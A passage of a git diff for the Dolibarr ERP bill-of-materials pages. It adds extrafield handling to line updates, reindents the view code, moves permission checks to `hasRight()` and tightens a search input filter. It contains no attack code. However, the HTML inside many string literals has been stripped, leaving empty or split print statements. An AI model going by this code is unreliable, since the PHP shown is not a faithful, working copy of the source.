$bom_child_id, null, $fk_unit, $array_options); if ($result <= 0) { setEventMessages($object->error, $object->errors, 'errors'); @@ -231,10 +243,21 @@ if (empty($reshook)) { } if (!$error) { + // Extrafields + $extralabelsline = $extrafields->fetch_name_optionals_label($object->table_element_line); + $array_options = $extrafields->getOptionalsFromPost($object->table_element_line); + // Unset extrafield + if (is_array($extralabelsline)) { + // Get extra fields + foreach ($extralabelsline as $key => $value) { + unset($_POST["options_".$key]); + } + } + $bomline = new BOMLine($db); $bomline->fetch($lineid); - $result = $object->updateLine($lineid, $qty, (int) $qty_frozen, (int) $disable_stock_change, $efficiency, $bomline->position, $bomline->import_key, $fk_unit); + $result = $object->updateLine($lineid, $qty, (int) $qty_frozen, (int) $disable_stock_change, $efficiency, $bomline->position, $bomline->import_key, $fk_unit, $array_options); if ($result <= 0) { setEventMessages($object->error, $object->errors, 'errors'); @@ -252,303 +275,303 @@ if (empty($reshook)) { $object->calculateCosts(); } } +} +/* + * View + */ - /* - * View - */ - - $form = new Form($db); - $formfile = new FormFile($db); +$form = new Form($db); +$formfile = new FormFile($db); - $title = $langs->trans('BOM'); - $help_url ='EN:Module_BOM'; - llxHeader('', $title, $help_url); +$title = $langs->trans('BOM'); +$help_url ='EN:Module_BOM'; +llxHeader('', $title, $help_url); - // Part to create - if ($action == 'create') { - print load_fiche_titre($langs->trans("NewBOM"), '', 'bom'); +// Part to create +if ($action == 'create') { + print load_fiche_titre($langs->trans("NewBOM"), '', 'bom'); - print '
      '; - print ''; - print ''; - print ''; + print ''; + print ''; + print ''; + print ''; - print dol_get_fiche_head(array(), ''); + print dol_get_fiche_head(array(), ''); - print '
      '.$langs->trans('Field').''.$langs->trans('Value').'
      '."\n"; + print '
      '."\n"; - // Common attributes - include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_add.tpl.php'; + // Common attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_add.tpl.php'; - // Other attributes - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; - print '
      '."\n"; + print ''."\n"; - print dol_get_fiche_end(); + print dol_get_fiche_end(); - print $form->buttonsSaveCancel("Create"); + print $form->buttonsSaveCancel("Create"); - print ''; + print ''; +} + +// Part to edit record +if (($id || $ref) && $action == 'edit') { + print load_fiche_titre($langs->trans("BillOfMaterials"), '', 'cubes'); + + print '
      '; + print ''; + print ''; + print ''; + print ''; + + print dol_get_fiche_head(); + + //$object->fields['keyfield']['disabled'] = 1; + + print ''."\n"; + + // Common attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_edit.tpl.php'; + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_edit.tpl.php'; + + print '
      '; + + print dol_get_fiche_end(); + + print $form->buttonsSaveCancel("Create"); + + print '
      '; +} + +// Part to show record +if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'create'))) { + $head = bomPrepareHead($object); + print dol_get_fiche_head($head, 'card', $langs->trans("BillOfMaterials"), -1, 'bom'); + + $formconfirm = ''; + + // Confirmation to delete + if ($action == 'delete') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('DeleteBillOfMaterials'), $langs->trans('ConfirmDeleteBillOfMaterials'), 'confirm_delete', '', 0, 1); + } + // Confirmation to delete line + if ($action == 'deleteline') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id.'&lineid='.$lineid, $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_deleteline', '', 0, 1); } - // Part to edit record - if (($id || $ref) && $action == 'edit') { - print load_fiche_titre($langs->trans("BillOfMaterials"), '', 'cubes'); - - print '
      '; - print ''; - print ''; - print ''; - print ''; - - print dol_get_fiche_head(); - - //$object->fields['keyfield']['disabled'] = 1; - - print ''."\n"; - - // Common attributes - include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_edit.tpl.php'; - - // Other attributes - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_edit.tpl.php'; - - print '
      '; - - print dol_get_fiche_end(); - - print $form->buttonsSaveCancel("Create"); - - print '
      '; - } - - // Part to show record - if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'create'))) { - $head = bomPrepareHead($object); - print dol_get_fiche_head($head, 'card', $langs->trans("BillOfMaterials"), -1, 'bom'); - - $formconfirm = ''; - - // Confirmation to delete - if ($action == 'delete') { - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('DeleteBillOfMaterials'), $langs->trans('ConfirmDeleteBillOfMaterials'), 'confirm_delete', '', 0, 1); - } - // Confirmation to delete line - if ($action == 'deleteline') { - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id.'&lineid='.$lineid, $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_deleteline', '', 0, 1); - } - - // Confirmation of validation - if ($action == 'validate') { - // We check that object has a temporary ref - $ref = substr($object->ref, 1, 4); - if ($ref == 'PROV') { - $object->fetch_product(); - $numref = $object->getNextNumRef($object->product); - } else { - $numref = $object->ref; - } - - $text = $langs->trans('ConfirmValidateBom', $numref); - /*if (isModEnabled('notification')) - { - require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; - $notify = new Notify($db); - $text .= '
      '; - $text .= $notify->confirmMessage('BOM_VALIDATE', $object->socid, $object); - }*/ - - $formquestion = array(); - if (isModEnabled('bom')) { - $langs->load("mrp"); - $forcecombo = 0; - if ($conf->browser->name == 'ie') { - $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy - } - $formquestion = array( - // 'text' => $langs->trans("ConfirmClone"), - // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), - // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), - ); - } - - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('Validate'), $text, 'confirm_validate', $formquestion, 0, 1, 220); - } - - // Confirmation of closing - if ($action == 'close') { - $text = $langs->trans('ConfirmCloseBom', $object->ref); - /*if (isModEnabled('notification')) - { - require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; - $notify = new Notify($db); - $text .= '
      '; - $text .= $notify->confirmMessage('BOM_CLOSE', $object->socid, $object); - }*/ - - $formquestion = array(); - if (isModEnabled('bom')) { - $langs->load("mrp"); - $forcecombo = 0; - if ($conf->browser->name == 'ie') { - $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy - } - $formquestion = array( - // 'text' => $langs->trans("ConfirmClone"), - // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), - // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), - ); - } - - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('Close'), $text, 'confirm_close', $formquestion, 0, 1, 220); - } - - // Confirmation of reopen - if ($action == 'reopen') { - $text = $langs->trans('ConfirmReopenBom', $object->ref); - /*if (isModEnabled('notification')) - { - require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; - $notify = new Notify($db); - $text .= '
      '; - $text .= $notify->confirmMessage('BOM_CLOSE', $object->socid, $object); - }*/ - - $formquestion = array(); - if (isModEnabled('bom')) { - $langs->load("mrp"); - require_once DOL_DOCUMENT_ROOT.'/product/class/html.formproduct.class.php'; - $forcecombo = 0; - if ($conf->browser->name == 'ie') { - $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy - } - $formquestion = array( - // 'text' => $langs->trans("ConfirmClone"), - // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), - // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), - ); - } - - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ReOpen'), $text, 'confirm_reopen', $formquestion, 0, 1, 220); - } - - // Clone confirmation - if ($action == 'clone') { - // Create an array for form - $formquestion = array(); - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneBillOfMaterials', $object->ref), 'confirm_clone', $formquestion, 'yes', 1); - } - - // Confirmation of action xxxx - if ($action == 'setdraft') { - $text = $langs->trans('ConfirmSetToDraft', $object->ref); - - $formquestion = array(); - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('SetToDraft'), $text, 'confirm_setdraft', $formquestion, 0, 1, 220); - } - - // Call Hook formConfirm - $parameters = array('formConfirm' => $formconfirm, 'lineid' => $lineid); - $reshook = $hookmanager->executeHooks('formConfirm', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - if (empty($reshook)) { - $formconfirm .= $hookmanager->resPrint; - } elseif ($reshook > 0) { - $formconfirm = $hookmanager->resPrint; - } - - // Print form confirm - print $formconfirm; - - - // Object card - // ------------------------------------------------------------ - $linkback = ''.$langs->trans("BackToList").''; - - $morehtmlref = '
      '; - /* - // Ref bis - $morehtmlref.=$form->editfieldkey("RefBis", 'ref_client', $object->ref_client, $object, $user->rights->bom->creer, 'string', '', 0, 1); - $morehtmlref.=$form->editfieldval("RefBis", 'ref_client', $object->ref_client, $object, $user->rights->bom->creer, 'string', '', null, null, '', 1); - // Thirdparty - $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . $soc->getNomUrl(1); - // Project - if (isModEnabled('project')) - { - $langs->load("projects"); - $morehtmlref.='
      '.$langs->trans('Project') . ' '; - if ($permissiontoadd) - { - if ($action != 'classify') - $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; - if ($action == 'classify') { - //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); - $morehtmlref.='
      '; - $morehtmlref.=''; - $morehtmlref.=''; - $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', 0, 0, 1, 0, 1, 0, 0, '', 1); - $morehtmlref.=''; - $morehtmlref.='
      '; - } else { - $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); - } + // Confirmation of validation + if ($action == 'validate') { + // We check that object has a temporary ref + $ref = substr($object->ref, 1, 4); + if ($ref == 'PROV') { + $object->fetch_product(); + $numref = $object->getNextNumRef($object->product); } else { - if (! empty($object->fk_project)) { - $proj = new Project($db); - $proj->fetch($object->fk_project); - $morehtmlref.=$proj->getNomUrl(); - } else { - $morehtmlref.=''; + $numref = $object->ref; + } + + $text = $langs->trans('ConfirmValidateBom', $numref); + /*if (isModEnabled('notification')) + { + require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; + $notify = new Notify($db); + $text .= '
      '; + $text .= $notify->confirmMessage('BOM_VALIDATE', $object->socid, $object); + }*/ + + $formquestion = array(); + if (isModEnabled('bom')) { + $langs->load("mrp"); + $forcecombo = 0; + if ($conf->browser->name == 'ie') { + $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy } + $formquestion = array( + // 'text' => $langs->trans("ConfirmClone"), + // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), + // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), + ); } + + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('Validate'), $text, 'confirm_validate', $formquestion, 0, 1, 220); + } + + // Confirmation of closing + if ($action == 'close') { + $text = $langs->trans('ConfirmCloseBom', $object->ref); + /*if (isModEnabled('notification')) + { + require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; + $notify = new Notify($db); + $text .= '
      '; + $text .= $notify->confirmMessage('BOM_CLOSE', $object->socid, $object); + }*/ + + $formquestion = array(); + if (isModEnabled('bom')) { + $langs->load("mrp"); + $forcecombo = 0; + if ($conf->browser->name == 'ie') { + $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy + } + $formquestion = array( + // 'text' => $langs->trans("ConfirmClone"), + // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), + // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), + ); } - */ - $morehtmlref .= '
      '; + + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('Close'), $text, 'confirm_close', $formquestion, 0, 1, 220); + } + + // Confirmation of reopen + if ($action == 'reopen') { + $text = $langs->trans('ConfirmReopenBom', $object->ref); + /*if (isModEnabled('notification')) + { + require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; + $notify = new Notify($db); + $text .= '
      '; + $text .= $notify->confirmMessage('BOM_CLOSE', $object->socid, $object); + }*/ + + $formquestion = array(); + if (isModEnabled('bom')) { + $langs->load("mrp"); + require_once DOL_DOCUMENT_ROOT.'/product/class/html.formproduct.class.php'; + $forcecombo = 0; + if ($conf->browser->name == 'ie') { + $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy + } + $formquestion = array( + // 'text' => $langs->trans("ConfirmClone"), + // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), + // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), + ); + } + + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ReOpen'), $text, 'confirm_reopen', $formquestion, 0, 1, 220); + } + + // Clone confirmation + if ($action == 'clone') { + // Create an array for form + $formquestion = array(); + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneBillOfMaterials', $object->ref), 'confirm_clone', $formquestion, 'yes', 1); + } + + // Confirmation of action xxxx + if ($action == 'setdraft') { + $text = $langs->trans('ConfirmSetToDraft', $object->ref); + + $formquestion = array(); + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('SetToDraft'), $text, 'confirm_setdraft', $formquestion, 0, 1, 220); + } + + // Call Hook formConfirm + $parameters = array('formConfirm' => $formconfirm, 'lineid' => $lineid); + $reshook = $hookmanager->executeHooks('formConfirm', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $formconfirm .= $hookmanager->resPrint; + } elseif ($reshook > 0) { + $formconfirm = $hookmanager->resPrint; + } + + // Print form confirm + print $formconfirm; - dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref bis + $morehtmlref.=$form->editfieldkey("RefBis", 'ref_client', $object->ref_client, $object, $user->rights->bom->creer, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefBis", 'ref_client', $object->ref_client, $object, $user->rights->bom->creer, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . $soc->getNomUrl(1); + // Project + if (isModEnabled('project')) + { + $langs->load("projects"); + $morehtmlref.='
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) + { + if ($action != 'classify') + $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + if ($action == 'classify') { + //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + $morehtmlref.='
      '; + $morehtmlref.=''; + $morehtmlref.=''; + $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', 0, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref.=''; + $morehtmlref.='
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref.=$proj->getNomUrl(); + } else { + $morehtmlref.=''; + } + } + } + */ + $morehtmlref .= '
      '; - print '
      '; - print '
      '; - print '
      '; - print ''."\n"; + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); - // Common attributes - $keyforbreak = 'duration'; - include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_view.tpl.php'; + + print '
      '; + print '
      '; + print '
      '; + print '
      '."\n"; + + // Common attributes + $keyforbreak = 'duration'; + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_view.tpl.php'; + $object->calculateCosts(); + print ''; + print ''; + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + + print '
      '.$form->textwithpicto($langs->trans("TotalCost"), $langs->trans("BOMTotalCost")).''.price($object->total_cost).'
      '.$langs->trans("UnitCost").''.price($object->unit_cost).'
      '; + print '
      '; + print '
      '; + + print '
      '; + + print dol_get_fiche_end(); + + + + /* + * Lines + */ + + if (!empty($object->table_element_line)) { + // Products + $res = $object->fetchLinesbytypeproduct(0); $object->calculateCosts(); - print ''.$form->textwithpicto($langs->trans("TotalCost"), $langs->trans("BOMTotalCost")).''.price($object->total_cost).''; - print ''.$langs->trans("UnitCost").''.price($object->unit_cost).''; - // Other attributes - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + print ($res == 0 && $object->status >= $object::STATUS_VALIDATED) ? '' : load_fiche_titre($langs->trans('BOMProductsList'), '', 'product'); - print ''; - print '
      '; - print '
      '; - - print '
      '; - - print dol_get_fiche_end(); - - - - /* - * Lines - */ - - if (!empty($object->table_element_line)) { - //Products - $res = $object->fetchLinesbytypeproduct(0); - $object->calculateCosts(); - - print ($res == 0 && $object->status >= $object::STATUS_VALIDATED) ? '' : load_fiche_titre($langs->trans('BOMProductsList'), '', 'product'); - - print '
      + print ' @@ -556,81 +579,30 @@ if (empty($reshook)) { '; - if (!empty($conf->use_javascript_ajax) && $object->status == 0) { - include DOL_DOCUMENT_ROOT.'/core/tpl/ajaxrow.tpl.php'; - } + if (!empty($conf->use_javascript_ajax) && $object->status == 0) { + include DOL_DOCUMENT_ROOT.'/core/tpl/ajaxrow.tpl.php'; + } - print '
      '; - if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { - print ''; - } + print '
      '; + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print '
      '; + } - if (!empty($object->lines)) { - $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1, '/bom/tpl'); - } + if (!empty($object->lines)) { + $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1, '/bom/tpl'); + } - // Form to add new line - if ($object->status == 0 && $permissiontoadd && $action != 'selectlines') { - if ($action != 'editline') { - // Add products/services form + // Form to add new line + if ($object->status == 0 && $permissiontoadd && $action != 'selectlines') { + if ($action != 'editline') { + // Add products/services form - $parameters = array(); - $reshook = $hookmanager->executeHooks('formAddObjectLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); - if (empty($reshook)) + $parameters = array(); + $reshook = $hookmanager->executeHooks('formAddObjectLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + if (empty($reshook)) $object->formAddObjectLine(1, $mysoc, null, '/bom/tpl'); - } - } - - if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { - print '
      '; - } - print '
      '; - - print "
      \n"; - - mrpCollapseBomManagement(); - - - //Services - $filtertype = 1; - $res = $object->fetchLinesbytypeproduct(1); - $object->calculateCosts(); - - print ($res == 0 && $object->status >= $object::STATUS_VALIDATED) ? '' : load_fiche_titre($langs->trans('BOMServicesList'), '', 'service'); - - print '
      - - - - - '; - - if (!empty($conf->use_javascript_ajax) && $object->status == 0) { - $tagidfortablednd = 'tablelinesservice'; - include DOL_DOCUMENT_ROOT . '/core/tpl/ajaxrow.tpl.php'; - } - - print '
      '; - if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { - print ''; - } - - if (!empty($object->lines)) { - $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1, '/bom/tpl'); - } - - // Form to add new line - if ($object->status == 0 && $permissiontoadd && $action != 'selectlines') { - if ($action != 'editline') { - // Add services form - $parameters = array(); - $reshook = $hookmanager->executeHooks('formAddObjectServiceLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); - if (empty($reshook)) - $object->formAddObjectLine(1, $mysoc, null, '/bom/tpl'); - } } } @@ -641,12 +613,61 @@ if (empty($reshook)) { print "\n"; - mrpCollapseBomManagement(); + // Services + $filtertype = 1; + $res = $object->fetchLinesbytypeproduct(1); + $object->calculateCosts(); + + print ($res == 0 && $object->status >= $object::STATUS_VALIDATED) ? '' : load_fiche_titre($langs->trans('BOMServicesList'), '', 'service'); + + print ' + + + + + '; + + if (!empty($conf->use_javascript_ajax) && $object->status == 0) { + $tagidfortablednd = 'tablelinesservice'; + include DOL_DOCUMENT_ROOT . '/core/tpl/ajaxrow.tpl.php'; + } + + print '
      '; + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print '
      '; + } + + if (!empty($object->lines)) { + $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1, '/bom/tpl'); + } + + // Form to add new line + if ($object->status == 0 && $permissiontoadd && $action != 'selectlines') { + if ($action != 'editline') { + // Add services form + $parameters = array(); + $reshook = $hookmanager->executeHooks('formAddObjectServiceLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + if (empty($reshook)) + $object->formAddObjectLine(1, $mysoc, null, '/bom/tpl'); + } + } } - $res = $object->fetchLines(); + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print '
      '; + } + print '
      '; - // Buttons for actions + print "\n"; + + + mrpCollapseBomManagement(); + + + $res = $object->fetchLines(); + + // Buttons for actions if ($action != 'presend' && $action != 'editline') { print '
      '."\n"; @@ -660,16 +681,16 @@ if (empty($reshook)) { // Send //if (empty($user->socid)) { // print '' . $langs->trans('SendMail') . ''."\n"; - //} + //} - // Back to draft + // Back to draft if ($object->status == $object::STATUS_VALIDATED) { if ($permissiontoadd) { print ''.$langs->trans("SetToDraft").''."\n"; } } - // Modify + // Modify if ($object->status == $object::STATUS_DRAFT) { if ($permissiontoadd) { print ''.$langs->trans("Modify").''."\n"; @@ -678,7 +699,7 @@ if (empty($reshook)) { } } - // Validate + // Validate if ($object->status == $object::STATUS_DRAFT) { if ($permissiontoadd) { if (is_array($object->lines) && count($object->lines) > 0) { @@ -690,50 +711,50 @@ if (empty($reshook)) { } } - // Re-open + // Re-open if ($permissiontoadd && $object->status == $object::STATUS_CANCELED) { print ''.$langs->trans("ReOpen").''."\n"; } - // Create MO + // Create MO if (isModEnabled('mrp')) { if ($object->status == $object::STATUS_VALIDATED && !empty($user->rights->mrp->write)) { print ''.$langs->trans("CreateMO").''."\n"; } } - // Clone + // Clone if ($permissiontoadd) { print dolGetButtonAction($langs->trans("ToClone"), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.(!empty($object->socid) ? '&socid='.$object->socid : "").'&action=clone&object=bom', 'clone', $permissiontoadd); } - // Close / Cancel + // Close / Cancel if ($permissiontoadd && $object->status == $object::STATUS_VALIDATED) { print ''.$langs->trans("Disable").''."\n"; } - /* - if ($user->rights->bom->write) - { - if ($object->status == 1) - { - print ''.$langs->trans("Disable").''."\n"; - } - else - { - print ''.$langs->trans("Enable").''."\n"; - } - } - */ + /* + if ($user->rights->bom->write) + { + if ($object->status == 1) + { + print ''.$langs->trans("Disable").''."\n"; + } + else + { + print ''.$langs->trans("Enable").''."\n"; + } + } + */ - // Delete - print dolGetButtonAction($langs->trans("Delete"), '', 'delete', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=delete&token='.newToken(), 'delete', $permissiontodelete); + // Delete + print dolGetButtonAction($langs->trans("Delete"), '', 'delete', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=delete&token='.newToken(), 'delete', $permissiontodelete); } print '
      '."\n"; } - // Select mail models is same action as presend + // Select mail models is same action as presend if (GETPOST('modelselected')) { $action = 'presend'; } @@ -747,8 +768,8 @@ if (empty($reshook)) { $relativepath = $objref.'/'.$objref.'.pdf'; $filedir = $conf->bom->dir_output.'/'.$objref; $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; - $genallowed = $user->rights->bom->read; // If you can read, you can build the PDF to read content - $delallowed = $user->rights->bom->write; // If you can create/edit, you can remove a file on card + $genallowed = $user->hasRight('bom', 'read'); // If you can read, you can build the PDF to read content + $delallowed = $user->hasRight('bom', 'write'); // If you can create/edit, you can remove a file on card print $formfile->showdocuments('bom', $objref, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 1, 0, 0, 28, 0, '', '', '', $langs->defaultlang); // Show links to link elements @@ -770,20 +791,21 @@ if (empty($reshook)) { print ''; } - //Select mail models is same action as presend + //Select mail models is same action as presend if (GETPOST('modelselected')) { $action = 'presend'; } - // Presend form - $modelmail = 'bom'; - $defaulttopic = 'InformationMessage'; - $diroutput = $conf->bom->dir_output; - $trackid = 'bom'.$object->id; + // Presend form + $modelmail = 'bom'; + $defaulttopic = 'InformationMessage'; + $diroutput = $conf->bom->dir_output; + $trackid = 'bom'.$object->id; - include DOL_DOCUMENT_ROOT.'/core/tpl/card_presend.tpl.php'; + include DOL_DOCUMENT_ROOT.'/core/tpl/card_presend.tpl.php'; } + // End of page llxFooter(); $db->close(); diff --git a/htdocs/bom/bom_document.php b/htdocs/bom/bom_document.php index 29aca029d36..03b9f416d43 100644 --- a/htdocs/bom/bom_document.php +++ b/htdocs/bom/bom_document.php @@ -85,7 +85,7 @@ if ($id > 0 || !empty($ref)) { $isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); restrictedArea($user, 'bom', $object->id, 'bom_bom', '', '', 'rowid', $isdraft); -$permissiontoadd = $user->rights->bom->write; // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles.inc.php +$permissiontoadd = $user->hasRight('bom', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles.inc.php /* @@ -148,8 +148,8 @@ if ($object->id) { print dol_get_fiche_end(); $modulepart = 'bom'; - $permissiontoadd = $user->rights->bom->write; - $permtoedit = $user->rights->bom->write; + $permissiontoadd = $user->hasRight('bom', 'write'); + $permtoedit = $user->hasRight('bom', 'write'); $param = '&id='.$object->id; //$relativepathwithnofile='bom/' . dol_sanitizeFileName($object->id).'/'; diff --git a/htdocs/bom/bom_list.php b/htdocs/bom/bom_list.php index 3374204e22f..065a3a578b7 100644 --- a/htdocs/bom/bom_list.php +++ b/htdocs/bom/bom_list.php @@ -42,6 +42,8 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'bomlist'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'alpha'); // mode view (kanban or common) + // Load variable for pagination $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -70,6 +72,7 @@ $search_array_options = $extrafields->getOptionalsFromPost($object->table_elemen // Default sort order (if not yet defined by previous GETPOST) if (!$sortfield) { + reset($object->fields); // Reset is required to avoid key() to return null. $sortfield = "t.".key($object->fields); // Set here default search field. By default 1st field in definition. } if (!$sortorder) { @@ -77,7 +80,7 @@ if (!$sortorder) { } // Initialize array of search criterias -$search_all = GETPOST("search_all", 'alpha'); +$search_all = GETPOST('search_all', 'alphanohtml'); $search = array(); foreach ($object->fields as $key => $val) { if (GETPOST('search_'.$key, 'alpha') !== '') { @@ -106,7 +109,7 @@ foreach ($object->fields as $key => $val) { $arrayfields['t.'.$key] = array( 'label'=>$val['label'], 'checked'=>(($visible < 0) ? 0 : 1), - 'enabled'=>($visible != 3 && dol_eval($val['enabled'], 1, 1, '1')), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), 'position'=>$val['position'], 'help'=> isset($val['help']) ? $val['help'] : '' ); @@ -118,9 +121,9 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; $object->fields = dol_sort_array($object->fields, 'position'); $arrayfields = dol_sort_array($arrayfields, 'position'); -$permissiontoread = 